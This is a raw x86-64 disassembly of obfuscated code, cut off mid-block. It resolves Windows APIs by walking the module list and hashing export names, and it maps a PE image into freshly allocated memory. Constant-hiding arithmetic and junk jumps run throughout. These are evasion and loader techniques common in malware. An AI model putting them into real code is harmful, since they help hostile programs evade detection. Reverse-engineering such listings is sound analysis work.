movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x108]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2d8], rax
mov eax, 0xb63bb4a4
pushf
not eax
add eax, 0xee6ac975
xor eax, 0xa0b3eead
rol eax, 0x19
popf
pushf
not eax
add eax, 0x8d2d6947
xor eax, 0xb8a19287
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xda4c05cb
xor eax, 0x85a78ed3
rol eax, 0x13
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x228], rax
mov eax, dword [rsp + 0x228]
mov rcx, qword [rsp + 0x108]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x148], rax
mov eax, dword [rsp + 0x22c]
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x140]
cmp qword [rsp + 0x148], rax
je 0x140056a0f
push rax
pushf
mov eax, 0x5fb35c6e
pushf
not eax
add eax, 0x897025c4
xor eax, 0xbf8e2425
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xd0bde62b
xor eax, 0x9c8ecca6
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x99947a92
xor eax, 0xafecad8c
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xe4edc57f
xor eax, 0xd6a3c49b
rol eax, 0x51
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x768848bd
pushf
not eax
add eax, 0xa5b79c4c
xor eax, 0xccbb98b5
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xe224a7b5
xor eax, 0xf8f16870
rol eax, 0xb
popf
pushf
not eax
add eax, 0xad1fec55
xor eax, 0xb794a63a
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xdecd0ec9
xor eax, 0xb8eb3a4f
rol eax, 0xb9
popf
jmp 0x140055209
mov dword [rsp + 0xd0], 1
jmp 0x140056b0f
mov dword [rsp + 0xd0], 0
push rax
pushf
mov eax, 0x98a226b7
pushf
not eax
add eax, 0x8bd670b8
xor eax, 0xf744a0b1
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x97a51060
xor eax, 0xe1501b66
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xe3654b7f
xor eax, 0xc252b038
rol eax, 0x20
popf
jmp 0x140055209
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x140056b81
push rax
pushf
mov eax, 0x5dc3f8a1
pushf
not eax
add eax, 0xf2b939b8
xor eax, 0xcba98984
rol eax, 0xea
popf
pushf
not eax
add eax, 0xbb44f41e
xor eax, 0x905d13e2
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xec2c25bb
xor eax, 0xd409190b
rol eax, 0x18
popf
pushf
not eax
add eax, 0xbcb2222f
xor eax, 0x8f4774f4
rol eax, 0x20
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x906bd0bd
pushf
not eax
add eax, 0xfc19258a
xor eax, 0x8cda9772
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x904b0a83
xor eax, 0xeab51e76
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xe7afe7cf
xor eax, 0xe2309137
rol eax, 0x84
popf
pushf
not eax
add eax, 0xf03b7487
xor eax, 0xcce1b20a
rol eax, 0x4a
popf
jmp 0x140055209
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x17c], eax
mov eax, dword [rsp + 0x5c]
jmp 0x140056bf9
dec eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x17c], 0
je 0x140056c40
push rax
pushf
mov eax, 0xad7d356
pushf
not eax
add eax, 0x93e3d672
xor eax, 0xa11694d4
rol eax, 0x66
popf
pushf
not eax
add eax, 0xcd0ebabc
xor eax, 0xc668c6f3
rol eax, 3
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xf922d042
pushf
not eax
add eax, 0xc6c7e6fd
xor eax, 0xf82cbb6f
rol eax, 0x28
popf
pushf
not eax
add eax, 0xfa3834c3
xor eax, 0xa1646bb4
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xac621745
xor eax, 0x94c9c4f7
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xdb315033
xor eax, 0x86e83541
rol eax, 0xbc
popf
jmp 0x140055209
mov eax, dword [rsp + 0x40c]
mov dword [rsp + 0xd4], eax
movabs rax, 0xaa289a8a72e8612e
pushf
not rax
add rax, 0x50592581
xor rax, 0x48d3abe9
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x5ce2656d
xor rax, 0x4141c772
rol rax, 0x22
popf
shr rax, 0x20
mov dword [rsp + 0xd4], eax
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x140]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x5c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x230], rax
movabs rax, 0xf1c0a1d9760c26a5
pushf
not rax
add rax, 0x621afd43
xor rax, 0x6006c83d
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x5cfbeb30
xor rax, 0x74f3351b
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x681581a0
xor rax, 0x4ecfdce8
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x63856f4a
xor rax, 0x7080419b
rol rax, 0xdd
popf
mov ecx, 0xb7c9144f
pushf
not ecx
add ecx, 0xf12b6cd2
xor ecx, 0xe8b68ae0
rol ecx, 0x33
popf
pushf
not ecx
add ecx, 0xc67999a0
xor ecx, 0xd2802109
rol ecx, 0x3b
popf
pushf
not ecx
add ecx, 0xd07bba58
xor ecx, 0xb6935f07
rol ecx, 0xe3
popf
and rax, rcx
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0xd4]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x1c8]
movzx eax, byte [rax]
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140056e7f
push rax
pushf
mov eax, 0xe1a2ce82
pushf
not eax
add eax, 0xad38d3b1
xor eax, 0x9e231ab0
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xc04e5f94
xor eax, 0x8987c6d4
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xa41adfe0
xor eax, 0x9cb3a140
rol eax, 0x83
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x8220f8d
pushf
not eax
add eax, 0xf8c1b79a
xor eax, 0xf747f8c8
rol eax, 0x55
popf
pushf
not eax
add eax, 0xf71daeb1
xor eax, 0xad9ccaa9
rol eax, 0xec
popf
pushf
not eax
add eax, 0xc562a697
xor eax, 0xbdd18b66
rol eax, 0x37
popf
jmp 0x140055209
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x184], eax
jmp 0x140057090
xor eax, eax
test eax, eax
je 0x140056f44
push rax
pushf
mov eax, 0x75304e85
pushf
not eax
add eax, 0xe89f8b05
xor eax, 0xd9490f58
rol eax, 0x25
popf
pushf
not eax
add eax, 0xc8313dc5
xor eax, 0x83f2d8cf
rol eax, 0xad
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x1dc4be3f
pushf
not eax
add eax, 0xbea579bf
xor eax, 0xfb8f0fd3
rol eax, 0x56
popf
pushf
not eax
add eax, 0xae0e7b33
xor eax, 0x82f79f40
rol eax, 0x22
popf
jmp 0x140055209
movsx eax, byte [rsp + 0x30]
or eax, 0x20
mov dword [rsp + 0xd8], eax
jmp 0x140057023
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0xd8], eax
push rax
pushf
mov eax, 0xfdcf9f02
pushf
not eax
add eax, 0xe22fd2ce
xor eax, 0xdaf664b8
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xa126d70d
xor eax, 0xb7c15f8d
rol eax, 0x3e
popf
jmp 0x140055209
mov eax, dword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xa8], eax
jmp 0x140056e05
mov eax, dword [rsp + 0x180]
cmp dword [rsp + 0x184], eax
jne 0x1400570f9
push rax
pushf
mov eax, 0xb02cf2d
pushf
not eax
add eax, 0xf46f04f9
xor eax, 0x901f8c8c
rol eax, 0x22
popf
pushf
not eax
add eax, 0xde859d43
xor eax, 0xa7cc5834
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x9dfd4756
xor eax, 0xe001248c
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xb09ce713
xor eax, 0xc61635db
rol eax, 0x8a
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xbb9b5d8a
pushf
not eax
add eax, 0x9f2a25c8
xor eax, 0xbbd2569e
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9f6dc591
xor eax, 0xc4fd5f29
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x9b5e86e8
xor eax, 0xc4d104a0
rol eax, 0x77
popf
jmp 0x140055209
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2e0], rax
mov eax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x2e0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2e8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x1d8], rax
jmp 0x140057343
jmp 0x140056be9
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov rax, qword [rax]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x1d0], rax
mov byte [rsp + 0x36], 1
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x1400572d1
push rax
pushf
mov eax, 0xad7491ee
pushf
not eax
add eax, 0xf8b9d7e7
xor eax, 0xcd713b18
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbee20789
xor eax, 0xe2d140cd
rol eax, 0xbf
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xa156684a
pushf
not eax
add eax, 0x8e3a8f2f
xor eax, 0xb9326f87
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc8e61af0
xor eax, 0xa7b9b035
rol eax, 0x25
popf
jmp 0x140055209
mov qword [rsp + 0x1d8], 0
push rax
pushf
mov eax, 0x70547caf
pushf
not eax
add eax, 0xe26815cc
xor eax, 0xb36198ab
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xb856b6fd
xor eax, 0xd48b477a
rol eax, 0x4d
popf
jmp 0x140055209
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0x18c], eax
mov ecx, dword [rsp + 0x18c]
jmp 0x140057359
call qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x50]
mov r8d, 0x4e2f48d0
pushf
not r8d
add r8d, 0xfb54725b
xor r8d, 0xcac83274
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xfd2e77eb
xor r8d, 0xbdc597d7
rol r8d, 0x7d
popf
mov edx, eax
mov rcx, qword [rsp + 0x78]
call fcn.140161ab2
mov qword [rsp + 0xe8], 0
jmp 0x14005744f
mov rax, qword [rsp + 0xe8]
add rax, 0x1000
mov qword [rsp + 0xe8], rax
push rax
pushf
mov eax, 0xe4af5a23
pushf
not eax
add eax, 0xd0b65bbd
xor eax, 0xdfebbe22
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xbbf9554d
xor eax, 0xcdc45a1d
rol eax, 0xcd
popf
jmp 0x140055209
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xe8], rax
jae 0x1400574aa
push rax
pushf
mov eax, 0xf66dbfad
pushf
not eax
add eax, 0x80dcd149
xor eax, 0x86384020
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xaac7b9a8
xor eax, 0x81f31c80
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xbee6696a
xor eax, 0xd94dad83
rol eax, 0x55
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xe9f835e6
pushf
not eax
add eax, 0xffe8d7d8
xor eax, 0xfa45b774
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb4a8431f
xor eax, 0xe9b1a04e
rol eax, 0x68
popf
jmp 0x140055209
mov ecx, 0x1b80f036
pushf
not ecx
add ecx, 0xda7321c8
xor ecx, 0xbce0a526
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xdf986d20
xor ecx, 0xff561b89
rol ecx, 0xc4
popf
jmp 0x14005750d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x238], rax
mov rdi, qword [rsp + 0x238]
xor eax, eax
mov ecx, 0xb3630458
pushf
not ecx
add ecx, 0x9edd9218
xor ecx, 0x86986526
rol ecx, 0x7f
popf
pushf
not ecx
add ecx, 0x85398cb0
xor ecx, 0xc10ae098
rol ecx, 0xf6
popf
pushf
not ecx
add ecx, 0xf3423eef
xor ecx, 0xfd32b919
rol ecx, 0xd3
popf
pushf
not ecx
add ecx, 0x873108ad
xor ecx, 0xcde6be06
rol ecx, 0x86
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x78]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0xed2e81da
pushf
not r8d
add r8d, 0x92555090
xor r8d, 0x91f628c7
rol r8d, 0x50
popf
pushf
not r8d
add r8d, 0xa0a5cbf1
xor r8d, 0xba33d720
rol r8d, 0xde
popf
mov rdx, qword [rsp + 0x238]
mov rcx, rax
call fcn.140081885
jmp 0x140057406
mov r8d, 0xff192c
pushf
not r8d
add r8d, 0xe322952e
xor r8d, 0xe8e19027
rol r8d, 0xa2
popf
pushf
not r8d
add r8d, 0xf37e824f
xor r8d, 0xef80de6e
rol r8d, 0x67
popf
pushf
not r8d
add r8d, 0x81f3a1b7
xor r8d, 0x88e9b5a3
rol r8d, 0xbb
popf
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x78]
call fcn.140081885
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x1f0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x1e8], rax
push rax
pushf
mov eax, 0x52ccdd46
pushf
not eax
add eax, 0xbd74e4d4
xor eax, 0xc5a572d0
rol eax, 0x19
popf
pushf
not eax
add eax, 0x84de5544
xor eax, 0xc9803a51
rol eax, 0x62
popf
jmp 0x140055209
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0xf0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xf0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x320], rax
mov eax, 0x17487916
pushf
not eax
add eax, 0xd95fd9e2
xor eax, 0xf576ee31
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xcce4ac8d
xor eax, 0x89ba79fd
rol eax, 7
popf
pushf
not eax
add eax, 0xff5fea2c
xor eax, 0xde5f4225
rol eax, 0x53
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x320]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x240]
mov rcx, qword [rsp + 0xf0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x160], rax
mov eax, dword [rsp + 0x244]
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x158]
cmp qword [rsp + 0x160], rax
je 0x140057853
push rax
pushf
mov eax, 0xd6a4423d
pushf
not eax
add eax, 0xaa8485a4
xor eax, 0x9118db30
rol eax, 0x48
popf
pushf
not eax
add eax, 0xde07f5b9
xor eax, 0xe52d9f76
rol eax, 0x4f
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xf598d634
pushf
not eax
add eax, 0x9ba9221e
xor eax, 0xf8b26edf
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xca50a41c
xor eax, 0x85998b5a
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa7fa3cc7
xor eax, 0x9a1dec72
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xa7f89034
xor eax, 0xe518668a
rol eax, 0xc2
popf
jmp 0x140055209
mov dword [rsp + 0xdc], 1
jmp 0x140057966
mov dword [rsp + 0xdc], 0
push rax
pushf
mov eax, 0x4476f4ef
pushf
not eax
add eax, 0x94089417
xor eax, 0xbec77ed3
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x9790bf22
xor eax, 0x949fbe8c
rol eax, 0x40
popf
pushf
not eax
add eax, 0x89643207
xor eax, 0x90e3b7f0
rol eax, 0x21
popf
jmp 0x140055209
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x1400579d8
push rax
pushf
mov eax, 0xab96d1a6
pushf
not eax
add eax, 0xfcdbd94d
xor eax, 0xc6ddcfaf
rol eax, 0x14
popf
pushf
not eax
add eax, 0xcd936d3f
xor eax, 0xdfd8f912
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x966fc6a9
xor eax, 0xf418769e
rol eax, 0x27
popf
pushf
not eax
add eax, 0x820bdbe5
xor eax, 0x9fa25bc0
rol eax, 0x80
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xa2db3911
pushf
not eax
add eax, 0x89933094
xor eax, 0x968f0086
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xdf2b928c
xor eax, 0x879eb253
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xec71f252
xor eax, 0xc98e0921
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xec68652c
xor eax, 0xf009bd82
rol eax, 0x53
popf
jmp 0x140055209
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
jmp 0x140057a50
dec eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x190], 0
je 0x140057aaa
push rax
pushf
mov eax, 0x3c94277e
pushf
not eax
add eax, 0xf7a331f0
xor eax, 0xd76f816d
rol eax, 0xec
popf
pushf
not eax
add eax, 0x839d7d8e
xor eax, 0xc9478d17
rol eax, 0x37
popf
pushf
not eax
add eax, 0x8d93b194
xor eax, 0xa539dfd6
rol eax, 0xdb
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x52fd3ed5
pushf
not eax
add eax, 0xa051340f
xor eax, 0xa5da1faf
rol eax, 8
popf
pushf
not eax
add eax, 0x89c5fa9e
xor eax, 0xbc3e01e2
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x97d29868
xor eax, 0x92722a9b
rol eax, 6
popf
pushf
not eax
add eax, 0xb45f445a
xor eax, 0x8999e504
rol eax, 0x19
popf
jmp 0x140055209
mov eax, dword [rsp + 0x408]
mov dword [rsp + 0xe0], eax
movabs rax, 0xfe2e3826dd1acaef
pushf
not rax
add rax, 0x7870ba7d
xor rax, 0x486e1a6c
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x46349d03
xor rax, 0x5fe835fb
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x7a15f90f
xor rax, 0x6f4c44c2
rol rax, 0x91
popf
pushf
not rax
add rax, 0x4aadec42
xor rax, 0x71a5f910
rol rax, 0x99
popf
shr rax, 0x20
mov dword [rsp + 0xe0], eax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x158]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x50]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x248], rax
movabs rax, 0x7ef3def41aeaed59
pushf
not rax
add rax, 0x61d283c7
xor rax, 0x5c1cc79d
rol rax, 0xed
popf
pushf
not rax
add rax, 0x78856a34
xor rax, 0x5ca40d78
rol rax, 0x25
popf
mov ecx, 0xaf2d152c
pushf
not ecx
add ecx, 0xd2718f6f
xor ecx, 0xe4e0a6b3
rol ecx, 0xe1
popf
pushf
not ecx
add ecx, 0xeebbdd7b
xor ecx, 0xbf6e55d1
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0xcb5859a7
xor ecx, 0xc65fad76
rol ecx, 0xb0
popf
and rax, rcx
mov dword [rsp + 0x194], eax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x1e0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x31], al
movsx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140057ce9
push rax
pushf
mov eax, 0x3daa5ae1
pushf
not eax
add eax, 0x81872874
xor eax, 0xde4357bc
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe128ea8d
xor eax, 0xdeb970d4
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xfa6bee78
xor eax, 0x85bcd027
rol eax, 0xa7
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xf612b331
pushf
not eax
add eax, 0x873ceadf
xor eax, 0x8f953ca8
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xc7cf324e
xor eax, 0xd71ec762
rol eax, 0x38
popf
jmp 0x140055209
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x198], eax
jmp 0x140057f46
xor eax, eax
test eax, eax
je 0x140057dae
push rax
pushf
mov eax, 0x682a3968
pushf
not eax
add eax, 0xfb15022b
xor eax, 0xe09959f7
rol eax, 0x49
popf
pushf
not eax
add eax, 0x9220b1b5
xor eax, 0x90f45414
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xcc41c592
xor eax, 0xc2386374
rol eax, 0x4b
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xfb1b35f2
pushf
not eax
add eax, 0xd41cb637
xor eax, 0xaa50b587
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd25b7012
xor eax, 0x88d4f888
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd8d0fd5c
xor eax, 0x9319eb5b
rol eax, 0xa1
popf
jmp 0x140055209
movsx eax, byte [rsp + 0x31]
or eax, 0x20
mov dword [rsp + 0xe4], eax
jmp 0x140057ec6
movsx eax, byte [rsp + 0x31]
mov dword [rsp + 0xe4], eax
push rax
pushf
mov eax, 0xb233bde3
pushf
not eax
add eax, 0xac01e789
xor eax, 0x8d545b93
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xada0dd79
xor eax, 0xea89e845
rol eax, 0x34
popf
pushf
not eax
add eax, 0xe00991cc
xor eax, 0x8897d3f4
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x9a7bc5cc
xor eax, 0xec816167
rol eax, 0x2e
popf
jmp 0x140055209
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0x88]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x88], eax
jmp 0x140057c6f
mov eax, dword [rsp + 0x194]
cmp dword [rsp + 0x198], eax
jne 0x140057f89
push rax
pushf
mov eax, 0xc89a4759
pushf
not eax
add eax, 0xda244212
xor eax, 0xc88b8257
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc6008e8e
xor eax, 0xfdecc66f
rol eax, 0xfd
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x119f751
pushf
not eax
add eax, 0xf9823ea7
xor eax, 0xa35ca7cb
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x88790e8a
xor eax, 0xaed20923
rol eax, 0xfe
popf
jmp 0x140055209
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x328], rax
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x328]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x330]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x1f0], rax
jmp 0x1400581c0
jmp 0x140057a40
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov rax, qword [rax]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x1e8], rax
mov byte [rsp + 0x39], 1
movzx eax, byte [rsp + 0x39]
test eax, eax
jne 0x14005814e
push rax
pushf
mov eax, 0xc49823f0
pushf
not eax
add eax, 0xc754b6fe
xor eax, 0xccf729d2
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x82a9ff4d
xor eax, 0xb3c88f3a
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xa4b4e3a0
xor eax, 0xfbac4504
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc7192b90
xor eax, 0xa0c71bbf
rol eax, 0x30
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x25e3203a
pushf
not eax
add eax, 0xfdb64102
xor eax, 0xbd3e184f
rol eax, 0x18
popf
pushf
not eax
add eax, 0xfe3dec19
xor eax, 0xf5d2fee0
rol eax, 0xa6
popf
jmp 0x140055209
mov qword [rsp + 0x1f0], 0
push rax
pushf
mov eax, 0x880c9945
pushf
not eax
add eax, 0xbceaed5a
xor eax, 0x81a39772
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xbf8b9999
xor eax, 0xc404cc4e
rol eax, 0x9f
popf
jmp 0x140055209
mov ecx, 0x9b49028e
pushf
not ecx
add ecx, 0xcf92e33f
xor ecx, 0xf39f2d33
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0xab36f3e2
xor ecx, 0xba73bf27
rol ecx, 0xa8
popf
pushf
not ecx
add ecx, 0xc27c5e76
xor ecx, 0xebd7ab3d
rol ecx, 3
popf
pushf
not ecx
add ecx, 0xc1243d5c
xor ecx, 0xf5ff03d2
rol ecx, 0x67
popf
jmp 0x14005821a
call qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x8c], 0
jmp 0x1400582fa
mov eax, dword [rsp + 0x8c]
jmp 0x14005828a
inc eax
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
push rax
pushf
mov eax, 0x37552ff0
pushf
not eax
add eax, 0xf6708425
xor eax, 0xe02bc18c
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xb2f95824
xor eax, 0xe27b01be
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x8eba19f8
xor eax, 0xda514fa7
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x855ec3eb
xor eax, 0x9dcbd2fc
rol eax, 0x3a
popf
jmp 0x140055209
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x8c], eax
je 0x140058359
push rax
pushf
mov eax, 0x2fc43e05
pushf
not eax
add eax, 0xc8a28e8e
xor eax, 0x89194186
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xee2e2e79
xor eax, 0xfaa472b0
rol eax, 2
popf
pushf
not eax
add eax, 0xc9af71ae
xor eax, 0x8cb86f9c
rol eax, 0x31
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x10296f47
pushf
not eax
add eax, 0xf6b4dbc8
xor eax, 0xd74f155c
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xa3c12407
xor eax, 0xa0e6f1a4
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xc38e060b
xor eax, 0xcbe00f5d
rol eax, 0x58
popf
jmp 0x140055209
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x1400583e1
push rax
pushf
mov eax, 0x5b20435f
pushf
not eax
add eax, 0xc11e8e62
xor eax, 0xfb1a65f2
rol eax, 0x41
popf
pushf
not eax
add eax, 0x8f333a5f
